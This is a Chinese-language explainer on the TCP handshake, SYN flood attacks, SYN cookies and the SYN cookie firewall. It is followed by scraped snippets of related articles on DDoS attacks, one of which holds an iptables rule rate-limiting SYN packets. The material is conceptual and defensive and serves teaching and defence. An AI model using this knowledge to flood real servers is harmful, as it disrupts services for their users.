    正常的3次握手连接:首先是C发送一个SYN报文给服务端S,然后这个服务端发送一个SYN-ACK包以回应C,接着,C就返回一个ACK包来实现一次完整的TCP连接。就这样,C到服务端的连接就建立了,这时C和服务端就可以互相交换数据了。

    SYN洪水:在S返回一个确认的SYN-ACK包的时候,S可能由于各种原因不会接到C回应的ACK包。这个也就是所谓的半开放连接,S需要 耗费一定的数量的系统内存来等待这个未决的连接,虽然这个数量是受限,但是恶意者可以通过创建很多的半开放式连接来发动SYN洪水攻击 。
    攻击者可以通过IP欺骗发送SYN包给受害者系统,这个看起来是合法的,但事实上所谓的C根本不会进行ACK回应服务端S的SYN-ACK报文,这意味着受害者将永远不会接到ACK报文。 而此时,半开放连接将最终耗用受害者所有的系统资源(即使等待ACK包有超时限制),受害者将不能再接收任何其他的请求。

    2.SYN cookie
    SYN cookie用一个cookie来响应TCP SYN请求的TCP实现,在正常的TCP实现中,当S接收到一个SYN数据包,他返回 一个SYN-ACK包来应答,然后进入TCP-SYN-RECV(半开放连接)状态来等待最后返回的ACK包。S用一个数据空间来描述所有未决的连接, 然而这个数据空间的大小是有限的,所以攻击者将塞满这个空间。 在TCP SYN COOKIE的执行过程中,当S接收到一个SYN包的时候,他返回一个SYN-ACK包,这个数据包的ACK序列号是经过加密的,也就是说,它由源地址,端口源次序,目标地址,目标端口和一个加密种子计算得出。然后S释放所有的状态。如果一个ACK包从C返回, S将重新计算它来判断它是不是上个SYN-ACK的返回包。如果这样,S就可以直接进入TCP连接状态并打开连接。这样,S就可以避免守侯半开放连接。(检验加密数据可能会带来一定的CPU运算)
    以上只是SYN COOKIE的基本思路,它在应用过程中仍然有许多技巧,本人也没有具体的实战经验。


    3.SYN COOKIE 防火墙 
    SYN COOKIE 防火墙是SYN cookie的一个扩展,SYN cookie是建立在TCP堆栈上的,他为linux操作系统提供保护。SYN cookie防火墙是linux的一大特色,可以使用一个防火墙来保护你的网络以避免遭受SYN洪水攻击。 

    SYN cookie防火墙的原理:

    client                 firewall server 
    ------ ------------------------------
    1. SYN----------- - - - - - - - - - -> 
    2. <------------SYN-ACK(cookie) 
    3. ACK----------- - - - - - - - - - -> 
    4. - - - - - - -SYN---------------> 
    5. <- - - - - - - - - ------------SYN-ACK 
    6. - - - - - - -ACK---------------> 


    7. -----------> relay the -------> 
    <----------- connection <------- 

    ####################C与防火墙建立连接开始####################
    1:SYN包从C发送到S(计划建立连接)
    2:防火墙在这里扮演S的角色来回应一个带SYN cookie的SYN-ACK包给C 
    3:如果C发送ACK包,接着防火墙和C的连接就建立了

    ####################C与防火墙建立连接结束###################

    ####################防火墙与S建立连接开始####################
    4:防火墙这个时候扮演C的角色发送一个SYN给S 
    5:S返回一个SYN给C 
    6:防火墙扮演C发送一个ACK确认包给S,这个时候防火墙和S的连接也就建立了 

    ###################防火墙与S建立连接结束####################
    7:防火墙转发C和S间的数据 

    如果系统遭受SYN Flood,那么第三步就不会有,S不会收到相应在第一步的SYN包,所以击退了这次SYN洪水攻击。

    展开全文
  • SYN(synchronous)是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,...SYN 攻击利用TCP协议缺陷,发送...
  • 目录 1、说一下TCP的三次握手过程 ...7、SYN洪水攻击 8、哪些应用比较适合用udp实现 9、如果要你来设计一个QQ,在网络协议上你会考虑如何设计? 1、说一下TCP的三次握手过程 参加下图 2、为什么TCP握手需要...
  • TCP常见面试题

    万次阅读 多人点赞 2017-07-26 16:39:18
    1.画出TCP的报头 2.说一下TCP的三次握手过程3.为什么TCP握手需要三次?TCP是可靠的传输控制协议,三次握手能保证数据可靠传输又能提高传输效率。如果TCP的握手是两次: 如果client发给server的SYN报文因为网络原因...
  • 浅析SYN FLOOD攻击原理

    千次阅读 2017-11-06 01:18:47
    浅析SYN FLOOD攻击 概述 SYN(synchronous)是TCP/IP建立连接时使用的握手信号。在客户机和服务器之间建立正常的TCP网络连接时,客户机首先发出一个SYN消息,服务器使用SYN+ACK应答表示接收到了这个消息,最后客户...
  • 拒绝服务攻击攻击者想办法让目标机器停止提供服务或资源访问。这些资源包括磁 盘空间、内存、进程甚至网络带宽,从而阻止正常用户的访问。其实对网络带宽进行的消耗性攻击只是拒绝服务攻击的一小部分,只要能够对...
  • DDOS攻击方式总结

    千次阅读 2018-08-19 09:46:35
    本人近期一直在研究DDOS攻击,并通读了《破坏之王-DDOS攻击与防范》一书,书中对于DDOS的攻击方式与防范写的很详细,很推荐阅读,并针对本书中的DDOS攻击方式做了总结。 1、攻击网络宽带资源 1.1直接攻击 &...
  • DoS攻击种类

    万次阅读 2012-09-28 00:14:51
    2009-10-04 14:38 DoS攻击种类 DoS攻击有许多种类,主要有Land攻击、死亡之ping、泪滴、Smurf攻击及SYN洪水等。... 要理解SYN洪水攻击,首先要理解TCP连接的三次握手过程(Three-wayhandshake)。在TCP/IP协
  • 【网络编程】SYN Flood (SYN洪水攻击) 源代码分析

    万次阅读 多人点赞 2016-01-02 23:29:09
    原理1、TCP握手协议第一次握手:建立连接时,客户端发送syn包(syn=j)到服务器,并进入SYN_SEND状态,等待服务器确认;第二次握手:服务器收到syn包,必须确认客户的SYN(ack=j+1),同时自己也发送一个SYN包(syn=k...
  • SYN Flood (SYN洪水) 是种典型的DoS (Denial of Service,拒绝服务) 攻击,属于DDos攻击的一种。遭受攻击后服务器TCP连接资源耗尽,最后停止响应正常的TCP连接请求。尽管这种攻击已经出现了十多年,但它的变种至今仍...
  • 一、 什么是洪水攻击 洪水之猛、势不可挡。如果将洪水比作对计算机的攻击,那大家可以想象得出,攻击是多的猛烈。 在安全领域所指的洪水攻击是指向目标机器发送大量无用的数据包,使得目标机器忙于处理这些无用的...
  • 防止syn攻击(DDOOS攻击的一种) iptables -I INPUT -p tcp --syn -m limit --limit 1/s -j ACCEPT iptables -I FORWARD -p tcp --syn -m limit --limit 1/s -j
  • DDos工具实战演示+介绍

    千次阅读 2019-03-15 20:45:01
    用于快速方便的网络侦察和DOS攻击的bash选择菜单 必要时实施数独。在Debian和Arch上测试过。 Requirements: bash sudo curl netcat (must support '-k' option, openbsd variant recommended) hping3 (or ...
  • SYN洪水攻击 原理

    千次阅读 2015-11-30 10:50:22
    SYN洪水攻击 原理 SYN攻击 最近对SYN Flood特别感兴趣,看到一个关于SYN cookie firewall的文章,在google搜了一下,没中文的,翻译他一下 本文介绍了4个概念 一:介绍SYN 二:什么是SYN洪水攻击 三:...
  • TCP半连接和syn攻击

    千次阅读 2014-04-06 21:36:11
    摘自:http://blog.sina.com.cn/s/blog_54b5ea250100g2r8.html
  • nginx单机1W并发优化

    千次阅读 2015-06-17 08:22:23
    高并发思路: socket层面分析: ->nginx: 1.子进程允许打开的连接(worker_connections) 2.http连接快速关闭(keep_alivetime 0;...2.加快tcp连接的回收(recycle) ...3.空的tcp是否允许回收利用(reuse) ...4.洪水攻击
1 2 3 4 5 ... 20
收藏数 6,057
精华内容 2,422
关键字:

tcp洪水攻击